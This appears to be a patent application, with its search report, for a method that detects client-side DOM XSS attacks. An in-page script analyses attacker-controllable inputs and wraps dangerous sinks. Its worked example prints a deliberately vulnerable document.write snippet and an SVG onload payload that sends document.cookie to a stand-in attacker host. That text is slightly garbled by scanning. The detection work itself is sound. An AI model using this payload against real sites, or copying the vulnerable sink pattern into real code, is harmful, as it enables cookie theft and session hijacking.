METHOD FOR THE IDENTIFICATION AND PREVENTION OF CLIENT-SIDE WEB ATTACKS

Fig. 1


Declarations under Rule 41.f: — if inventorship (Rule 4.17(iv))
Published: — with international search report (Art. 21(3))

(54) Title: METHOD FOR THE IDENTIFICATION AND PREVENTION OF CLIENT-SIDE WEB ATTACKS

(57) Abstract: The present invention applies to the field of "Web application security attack detection" and refers to the aspects of detection of attacks to a Web client, using on-site techniques for analysis of the input and of the consequent vulnerable flows. In order to monitor cyber attacks on a web application, a WAF is commonly placed on one of the server-side layers. Their specific design is heavily based on the possibility of access to the actual content of a request sent by the clients on the network, which is analysed with the aim to determine if it has legitimate data or if it contains malicious patterns. One of the weaknesses of this system is linked to the need to analyse the part of the request that contains the attack. Today, most client-side attacks can be carried out without actually sending data to the server; i.e., data does not pass through the network but remains on the client. This situation obviously creates a functional hole, which prevents a WAF from identifying a broad category of client attacks. This document presents a solution that can also be used in conjunction with a WAF or equivalent system, precisely to solve this limitation, and to give greater completeness of systems for the identification and prevention of cyber attacks. The proposed method correlates data by collecting potentially exploitable input with sink runtime call data. This correlation allows to obtain a high accuracy rate in consequence of a minimisation of the amount of false positives. Finally, thanks to the special design of the solution, the vulnerable point in the code will be identified with high precision, allowing for an easier analysis of software resolution to the same vulnerability.
METHOD FOR THE IDENTIFICATION AND PREVENTION OF CLIENT-SIDE WEB ATTACKS

Technical field

The present invention applies to the field of "Web application security attack detection" and refers to the aspects of detection of attacks to a Web client, using on-site techniques for analysis of the inputs and of the consequent vulnerable flows.

Background art

In 2005, for the first time, Amit Klein formalises a type of attack related to vulnerabilities within browser scripts, known as DOM Based Cross Site Scripting (http://www.webappsec.org/projects/articles/07105.html) or DOM XSS. DOM XSS is a specific category of cross-site scripting attack that occurs when an HTML page contains code including specific actions that could be threatened by a malicious user, undermining the confidentiality, integrity or availability of the application in the "web" client (usually a browser) of an attacked user or of his data.

By now, many vulnerability variants of web clients are linked to a superior category of DOM XSS, called Client Side Vulnerabilities. In recent years a growing search for such vulnerabilities has led to a greater number of attacks. This poses the issue of identifying these kinds of cyber attacks and this task is commonly delegated to the Web Application Firewall (WAF from now on), whose purpose is to monitor, but also prevent, various attacks if a given rule is satisfied as a result of input and output analysis as described in [WO2010091186A2 / US20100199345A1, Breach Security Inc.].

The WAF is, however, able to detect cyber attacks from a particular input or output which can be effectively analysed. There are attack scenarios in which the used payload is not present in the network request, thus the WAF is not able to analyse and identify the attack. To date there are solutions that seek to mitigate such attacks mainly in two ways. The first applies when the attack actually happened, trying to determine if the called functions are used for malicious intent or not [NTT Docomo Inc. US20090193497A1; zScaler Inc. US20100218253A1; SecureWorks Inc.
US20 1001 259 13A1; Alibaba Group Hid. Ltd. CN103856471A; Alibaba Group Hid. Ltd. WO2014088963A1; CliqueCloud Ltd GB2496107A]; these, in fact propose a redefinition of functions whose purpose is to monitor if an attacker is using them to extract sensitive data or perform other types of improper use. The second approach concerns the active search for code vulnerabilities [IBM corp. US201301 11594A1 and Hoyt Technologies Inc. US8752183]. In addition, solutions like [WO2009039434A2, Breach Security Inc.], identifying the need to improve WAF capacity by correlating inputs and outputs through complex methods, are based on so-called "behaviour based" approaches, i.e. stochastic approaches related to the generation of descriptors, obtained from request/response pairs acquired from network streams, to detect abnormal tuples compared to those acquired during the learning phase, thus considered expected. This approach requires a preliminary learning phase and is not able to obtain a correlation during the execution of the same application. Unlike the latter, the method in question proposes a correlation analysis which is not based on behavioural and learning approaches, but on contextual correlation starting from the values input to threatened functions and attributes and values controllable by an attacker, that is carried out in part parallel to the execution flow in real time. Finally, the patent [Aspect Security Inc. US2014165204A1] shows a runtime method for the identification of vulnerabilities in the code and not of attacks, based on the technique known as dynamic taint propagation [https://www.blackhat.com/presentations/bh-dc-08/Chess-West/PresentMion/bh-dc-08-chess-west.pdf], Finding Vulnerabilities Without Attacking, Brian Chess, Jacob West, Slides No. 18 et seq.] which requires a computational effort which is not sufficient compared to the runtime performance required by an interactive client application, where the result of the analysis must be usable around the critical rendering path and not afterwards. To obviate this problem, the method in question proposes a correlation analysis between collected data and monitored functions that is not based on taint propagation but is based on heuristic correlation algorithms. To date, it seems that there are no solutions allowing for monitoring client attacks before they are carried out and the analysis of which is made at runtime on the client itself.
Disclosure of the invention

In order to monitor cyber attacks on a web application, a WAF is commonly placed on one of the server-side layers. Their specific design is heavily based on the possibility of access to the actual content of a request sent by the clients on the network, which is analysed with the aim to determine if it has legitimate data or if it contains malicious patterns. One of the weaknesses of this system is linked to the need to analyse the part of the request that contains the attack. Today, most client-side attacks can be carried out without actually sending data to the server; i.e., data does not pass through the network but remains on the client. This situation obviously creates a functional hole, which prevents a WAF from identifying a broad category of client attacks. This document presents a solution that can also be used in conjunction with a WAF or equivalent system, precisely to solve this limitation, and to give greater completeness of systems for the identification and prevention of cyber attacks.

The present invention is conceived as a module complementary to WAFs, and is designed to monitor and/or prevent attacks on clients before they take place, and without actively searching for vulnerabilities.

This solution therefore completes operation of a WAF as an integrated component, acting as an active monitor or (interceptor) on the client during the same execution of the page. The proposed method correlates data by collecting potentially exploitable input with sink runtime call data. This correlation allows to obtain a high accuracy rate in consequence of a minimisation of the amount of false positives. Finally, thanks to the special design of the solution, the vulnerable point in the code will be identified with high precision, allowing for an easier analysis of software resolution to the same vulnerability.

As the client part - the web browser - runs the code to be protected, the present invention is added to the original code of the HTML page and run before any other. In addition to a remote server, which can be a WAF or a reverse Web Proxy or a standalone system, a security endpoint (security endpoint or logger from now on) is instead present that keeps track of the alert log and possibly communicates to the personnel in charge the attack identified in the analysis system.
The insertion of the analysis system on the client can occur by injecting, for example, through a WAF or reverse Web proxy, in the original HTML page, a tag that requires the client to load and execute the invented method as a scripting resource. Alternatively, such a tag can be manually added to the page to be protected.

Each input considered controllable by a potential attacker (called source) is analysed according to the proposed method, trying to detect the presence of malicious payloads which, if found, are collected and stored in a data structure. If no payload is identified, no action is performed. Some examples of source are DOM objects and attributes, accessible from JavaScript, such as: location, window.name, document.cookie, document.referrer etc.

Payload analyses are performed simultaneously with syntax that the client can interpret, for example: HTML, XML, SVG, CSS, JavaScript, URL or functional equivalents.

When requested in the directive, if certain payloads should be collected, the system can be instructed to send an alert to the logging server or even blocking the user's page, and warning him that he is the subject of a possible attack.

In addition to the payload analysis system, the solution provides that each potentially threatened functionality, called Sink, is monitored at runtime by using the wrapping (rewriting via encapsulation) or the Proxying (native monitoring function typical of some languages) method. Such monitoring is used to correlate the presence of any payload identified in the previous phase with data related to the execution of Sinks.

Whenever a monitored method is called, method arguments are correlated to the possible threats identified in the collected payloads. A positive correlation will be considered a likely attack by the client system and will send an alert to the security endpoint.

The correlation of the patterns collected from the source with the presence of particular values identified in the arguments of the method, allows to identify contextual attacks, obtaining, therefore, a higher degree of precision. Argument analysis is carried out in relation to the context of the sink object of monitoring.

In some cases, the correlation system may require an additional source analysis to identify particular patterns not easily extrapolated and collectible without context (e.g.
a hostname); in this case, a search for the presence of any specific patterns is performed by cycling on the various sources. In case of a positive response, alert information will be sent to the security endpoint.

The security endpoint communication service is ultimately responsible for interpreting the response of the security endpoint to eventually perform countermeasures for blocking the attack directly on the client.

The method then uses various interceptors and analytical services aimed at collecting and correlating data between source and sink. The correlation is through a decision engine based on analysis of data selected using a risk analysis linked to specific contexts - Threat Analysis.

The method described is concerned with correlating two categories of information for real-time identification of attacks on the client. The first concerns the extrapolation of data, searching for attack patterns that may be associated to syntaxes used in the client context (HTML/JS/XML/CSS/URL) and applying normalisation algorithms (e.g. Base64, URL decoding). The second category corresponds to the items used during the call to the monitored sinks, which are interpreted according to the context of the same sinks.

The comparison between the two categories is made using the extracted contexts, for example, payload HTML attribute with argument HTML attribute, payload text node with argument text node etc. In this way, correlations are carried out in a specific common context.

Each identification of payloads of attack or positive correlation between the monitored sink arguments and collected payloads may result in an alert sent to the security endpoint which will carry out the logging of the message and send it to the responsible operators. The alert messages contain various information that may be useful for the analysis of the attack and for the identification of a resolution of the vulnerability identified during the step of correlation. Following the identification of an attack, it is possible to request that the client blocks or warns the user of the dangerous situation.
The proposed method is applicable to many web applications in which the client part uses content description languages in conjunction with a code interpreted at runtime on the client itself and consists of the following steps:

a. The client part is injected into the HTML page from a WAF or similar system or manually on individual pages, and the code runs on the client on two main levels of analysis.

b. The first level executes an analysis and collection of the attack payloads, even if the values change at runtime, cycling on all sources and looking for payloads related to a syntax set recognisable by the client.

c. If prompted during configuration, in case attack patterns are found, the first level can alert the remote security service by specifying a low attack confidence.

d. The second level will monitor all sinks and compare sink data with those collected in step b. so as to create a correlation between source and sink.

e. The correlation compares the sink context and payload collected in relation to similar contexts, for example, payload HTML attribute with argument HTML attribute, payload text node with argument text node etc.

f. In the case of sinks connected to particular syntax as those of the URL, the second level requires to the first level to search for specific patterns by cycling on all source and correlating as in step e.

g. If the correlation is positive for step 'e.' or 'f.', the client system will send an alert message to the security endpoint, this time indicating a high attack confidence level.

h. The alert service deals, possibly and after receiving the attack warning, with its communication to personnel in charge.

i. If required, each attack identification may result in a blocking action of the user page, warning him about being the object of a possible attack.
The present method can be implemented in the form of a computer program containing the code to perform all the steps and, in a preferred but not exclusive embodiment, consists of three modules: an analysis module, a monitoring module and an alerting module, which are executed in the context of a browser or a client capable of interpreting dynamic JavaScript code.

In addition, the proposed method makes use of a logging service on a remote server hosted preferably on a WAF or a reverse proxy.

The implemented client program is added to the HTML page that the browser requested, preferably by a WAF or a reverse proxy. Alternatively, it can be added manually to each HTML page subject to monitoring and, instead of a specific Web client such as the browser, the interpreter that analyses and monitors can be any software capable of such operations on HTML pages subject of analysis.

**Brief description of the drawings**

Further features and advantages of the proposed technical solution will appear more evident in the following description of a preferred but not exclusive embodiment represented in the 3 attached drawings, wherein

- Fig. 1 shows an exemplary attack on a generic Cross Site Scripting vulnerability. It can be noted that, in this specific case, the attack vector, present in the HTTP request, passes through the WAF, whereby the latter is in the conditions to carry out analysis on the payload (input).

- Fig. 2 shows an exemplary attack against a DOM XSS vulnerability. It is to be noted that, unlike Fig.1, it is impossible for a classic WAF to analyse the attack payload as it is not accessible to the WAF on the network.

- Fig. 3 shows the case in which the proposed solution is applied in conjunction with a WAF and the attack is identified and correctly sent to the same WAF.

- Fig. 4 shows how the client module is injected by a WAF in the requested HTML page and gets to the browser complete with interceptors for identifying client-side attacks.
• Fig. 5 shows the method in detail describing the various modules that compose it and their interrelation to identify attacks to the client.

• Fig. 6 shows an exemplary sequence of steps of the proposed method for the detection of an attack to code vulnerable to HTML Injection. The attack, carried out by a malicious user to the detriment of a legitimate user, is identified by the proposed method and communicated to the WAF.

Best mode for carrying out the invention

In the situation described in Fig. 1, it can be seen that a WAF is able to identify attacks only if the malicious payloads are analysed by it, that is, they are present in the request. Attacks on a Web application client are often feasible without them being contained in the protocol request to the Web server as described in Fig. 2.

Fig. 3 shows a situation in which the object of the invention acts as an attack analyser on the client, so an attack on the client identified by the method presented here can be communicated to a remote security service to alert the staff in charge of a possible attack in progress.

Fig. 4 shows the injection of the monitoring code and correlation in the HTML page by a WAF or equivalent, subject to monitoring for the identification and prevention of client-side attacks. An example of the used monitoring code is Prototype Hijacking [https://events.ccc.de/congress/2006/Fahrplan/attachments/1158Subverting_Ajax.pdf, Subverting Ajax - , 2006, S. Di Paola, G. Fedon, page 3 and seq.].

In the preferred embodiment, the proposed method it is implemented in JavaScript and is executed on the client in the form of a client-side WAF component. This component is made of three modules as shown in Fig. 5.

The source analysis module, also called interceptor (Module 1 shown in Fig. 5) performs the following steps:

a. searching for content that is compatible with at least one of the syntaxes that the client is able to interpret (e.g. JS/HTML/CSS/URL), performing some standardization algorithms such as Base64 decoding or URL decoding.
b. In case of successful search, each extracted piece of information is collected in a data structure.

c. Since syntax detection in sources presupposes a good probability of attack (or unauthorised test) in progress, it can be required that the module 1 sends, via the alert module (Fig. 5), a potential attack message to the security endpoint. This alert can be processed by the endpoint associating a non-critical confidence level. In fact, the identification of attack patterns does not necessarily imply that the attack is successful.

The steps described so far are performed during the loading of the HTML page and are repeated if the content of at least one of the sources changes during the whole life of the page, or until the browser has an open instance.

The process dealing with the detection of attacks that are successful is the module (or interceptor) for functionality monitoring (Module 2 shown in Fig. 5). This module performs the wrapping or proxying of all sinks (e.g. functions such as document.write, Function etc. or setters as scripts src, a.href, tag.innerHTML etc.) and monitors calls using the following steps:

20 a. At each sink call from the original JavaScript code belonging to the HTML page, the module 2 analyses the sink arguments by performing the parsing of these. Such parsing is contextual to the type of sink object of monitoring (e.g. document.write has arguments in the HTML context).

25 b. A correlation is performed by comparing data collected during the execution of module 1 with data extracted in the previous step as follows:

i. by cycling on a predefined set of threatened attributes and tags (e.g. onerror, onclick attribute etc. or tags: script etc.) a comparison of the parsed data between arguments and attack payloads collected is performed.

ii. If a match is found, then the module 2 sends a request alert through module 3 with high confidence.
iii. If the sink context requires particular payload searches, such as a hostname, module 2 requires a specific correspondence to module 1 (e.g. search of pattern `www.attacker.com` in sources). If such correspondence is successful, the module sends an alert request through module 3 with high confidence level, indicating that the attack is about to occur.

iv. Finally, if no correlation exists, the module invokes the original sink to allow the legitimate application to continue running.

The alert module (Module 3 shown in Fig. 5) finally deals with communication with the logging service. Such module is described as a feature that, when one of the interceptors detects the presence of a potential attack, comes into communication with the security service and induces a reaction that can result from simple notification of the personnel in charge to more complex countermeasures, such as the block of the client-side application with subsequent warning to the user subject to the attack. This module sends different information about the same attack, in conjunction with other data such as the estimated level of alert/confidence, the source from which the attack originated, the sink towards which the attack took place.

Fig. 6 shows a specific example of the steps that occur during an attack to a vulnerable JavaScript code, wherein:

- the served page is `http://host.com/vulnerable.html` where host.com is the vulnerable server.

- The vulnerable code sample is contained in the vulnerable.html page, and corresponds to: `document.write('Hello' + location.hash.slice(1)).`

- Thus, the exploitable source is location.hash, which is analysed by the module 1.

- The sink monitored by the module 2 is `document.write`.

- The attack corresponds to the following address: `http://host.com/vulnerable.html#<svg onload='attack' />`. 


The web page is vulnerable to HTML injection attacks and a malicious user can exploit a link with the payload shown at the last point.

Fig. 6 shows the steps that the proposed method performs to detect the attack and communicate it to the security endpoint.

The data is collected by the system performing all the steps of the method preferably implemented in JavaScript and uploaded on the monitored web page as follows:

a. content acquisition from all sources (some source examples are location, document.cookies, window.name) performed by the input analyser module. In this phase, an analysis linked to the identification of a known syntax (HTML/URL/JS/CSS) is performed as described in step [al] in Fig. 6.

b. Every identified malicious pattern is collected (Fig. 6, step [bl]) and, if required, the alert module is triggered to warn the security endpoint that a potential illegal testing activity is in progress.

c. Module 2 for functionality monitoring waits in passive mode. Whenever during the normal execution of the script a sink is called (in this case document.write), the module in question analyses the object of the call, the arguments or other inputs and heuristically searches for a correlation with the payload collected in step 1 (in this case <svg onload="new Img.src=7/attacker.site/+document.cookie">) (Fig. 6, step [a2]).

d. If a correlation is found (Fig. 6, step [c2]) then the alert module 3 is called and the WAF is alerted about the identification of a real attack in progress.

e. Otherwise (Fig. 6, step [b2]) the module 1 is interrogated to search for specific patterns related to specific syntaxes, not easily detectable out of context.

**Industrial applicability**

The invention can be realised with technical equivalents related to methods of sink wrapping and source analysis. By way of example and not of limitation, it is observed that it is possible to vary the execution systems, the Client Side Vulnerabilities
objects, the list of sinks that will be "wrapped" and the list of sources that will be analysed.

The proposed solution is effective in monitoring and/or prevention activities of web client-side attacks, and, in this case, is able to accurately detect attacks that would otherwise be completely transparent to the traditional WAF systems. The system is capable of alerting a site (or any chosen subject) of the attack, possibly also activating protective countermeasures. The correlation capability between source and sink allows detection with a high degree of accuracy if the attack in progress was successful. Finally, there is the possibility to accurately locate the vulnerable point in the code itself, which may be communicated to developers to address the vulnerability at the application level.

The proposed solution is applied to control systems for attacks at runtime as part of attacks towards clients. This solution allows, through the analysis of the inputs, the identification of the calls and the correlation between them, to identify entire categories of attacks that are not identifiable to date. In particular, it is applicable as an extension to WAF and systems Intrusion Detection Systems/ Intrusion Prevention Systems to cover attacks which are presently unidentifiable.
CLAIMS

1) Method for identification and prevention of attacks on a web client based on additional control code for HTML pages, said code being adapted to report potential attacks by means of a progressive detail level analysis and alert service with communication of the attack identified to a security endpoint hosted on a remote server; said method is characterised by the following steps of:

a) adding directly on the client a control code for the analysis of the inputs to the original code of any HTML pages that will be executed;

b) analysing, by said code, the user input by cycling on all inputs controllable by an attacker in order to identify potential attack payloads that are compatible with at least one of the syntaxes interpretable by the client, and collecting such potential threats within a dedicated data structure; in case no payload is identified, no action is performed;

c) sending an alert message with a low confidence level to the security endpoint on the remote server when possible attack patterns identified at point b) arise, the content of which communicates to the WAF that attack tests are in progress;

d) by means of the control code at point a), performing the tracking of the potentially threatened functions, using a wrapping or rewriting method by encapsulation, in order to monitor and analyse the calls at runtime by the legitimate code of the page to be controlled;

e) for each call to a threatened function, a correlation analysis is performed between the arguments of the function identified in step d) and the attack payload identified in step b) by comparing data in similar contexts; such correlation is obtained by identifying semantically significant tokens linked to specific syntaxes, at risk of
improper use by attackers and performing a contextual comparison of the parsed data in the arguments of the sink, and those related to the attack payloads collected in step b);

f) in case of negative result in step e), and in case of a call to the sink to be monitored, the argument values of which are represented by syntaxes that do not allow an unequivocal identification, the analysis at point b) is repeated by searching sequences contained in the arguments of the monitored function by applying, this time on inputs, the identified syntax parsing and, thereafter, the correlation analysis of step e) is repeated;

g) sending an alert message with a high confidence level to the security endpoint on the remote server when the correlations performed in step e) or step f) provide a positive result.

2) Method according to claim 1) step e) to perform a correlation analysis with heuristic techniques at a contextual parsing level, by deriving a syntax tree to identify points of interests to which a partial match in common context will be applied.

3) Method according to claim 1. step b), wherein said identification of possible attack payloads compatible with at least one of the syntaxes interpreted by the client is obtained by trying to execute, in parallel to the execution flow of the user, normalisation algorithms, such as Base64 Decoding and URL Decoding.

4) Method according to claim 1), wherein said remote server can be a WAF or a reverse Web Proxy, or a standalone system that can host a security endpoint to record alert logs and report any attacks to the personnel in charge, or, if required during configuration, block the attack and alert, optionally, the user subject to an attack.
5) Method according to claim 1), wherein said control code for the analysis of the user input is inserted in the original HTML page through a tag that requires the client to perform the control code as a scripting resource and before any other scripts.

6) Method according to claims 1) and 4), wherein said tag can be inserted automatically in the HTML pages through a WAF or a Reverse Web Proxy, or added manually to the pages to be protected.

Method according to claim 1), wherein the steps a), b), c) of said method are repeated if at least the content of one of the inputs controllable by external attackers changes during the whole life of the page, or until the browser has an open instance.
INTERNATIONAL SEARCH REPORT

A. CLASSIFICATION OF SUBJECT MATTER

INV. H04L29/06

ADD.

According to International Patent Classification (IPC) or to both national classification and IPC

B. FIELDS SEARCHED

Minimum documentation searched (classification system followed by classification symbols)

H04L

Documentation searched other than minimum documentation to the extent that such documents are included in the fields searched

Electronic data base consulted during the international search (name of data base and, where practicable, search terms used)

EPO-Internal

C. DOCUMENTS CONSIDERED TO BE RELEVANT

<table>
<thead>
<tr>
<th>Category</th>
<th>Citation of document, with indication, where appropriate, of the relevant passages</th>
<th>Relevant to claim No.</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>paragraph [0004] - paragraph [0006]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0023]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0029]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0031] - paragraph [0034]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0037] - paragraph [0038]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0041]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0044]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0048]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0060]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0070]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0077] - paragraph [0078]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0099]</td>
<td></td>
</tr>
<tr>
<td></td>
<td>paragraph [0101]</td>
<td></td>
</tr>
</tbody>
</table>

Further documents are listed in the continuation of Box C.

See patent family annex.

* Special categories of cited documents:

*"A" document defining the general state of the art which is not considered to be of particular relevance

*"E" earlier application or patent but published on or after the international filing date

*"L" document which may throw doubts on priority claim(s) or which is cited to establish the publication date of another citation or other special reason (as specified)

*"O" document referring to an oral disclosure, use, exhibition or other means

*"P" document published prior to the international filing date but later than the priority date claimed

*"T" later document published after the international filing date or priority date and not in conflict with the application but cited to understand the principle or theory underlying the invention

*"X" document of particular relevance; the claimed invention cannot be considered novel or cannot be considered to involve an inventive step when the document is taken alone

*"Y" document of particular relevance; the claimed invention cannot be considered to involve an inventive step when the document is combined with one or more other such documents, such combination being obvious to a person skilled in the art

*"Z" document member of the same patent family

Date of the actual completion of the international search

4 January 2017

Name and mailing address of the ISA/

European Patent Office, P.B. 5818 Patentlaan 2

NL - 2280 HV Rijswijk

Tel. (+31-70) 340-2040, Fax: (+31-70) 340-3016

Authorized officer

Olivera, Joel
<table>
<thead>
<tr>
<th>Category</th>
<th>Citation of document, with indication, where appropriate, of the relevant passages</th>
<th>Relevant to claim No.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Patent document cited in search report</td>
<td>Publication date</td>
<td>Patent family member(s)</td>
</tr>
<tr>
<td>----------------------------------------</td>
<td>-----------------</td>
<td>-------------------------</td>
</tr>
<tr>
<td>US 2014165204 A1</td>
<td>12-06-2014</td>
<td>NONE</td>
</tr>
<tr>
<td>WO 2009039434 A2</td>
<td>26-03-2009</td>
<td>EP 2203860 A2</td>
</tr>
<tr>
<td>US 2009100518 A1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WO 2009039434 A2</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>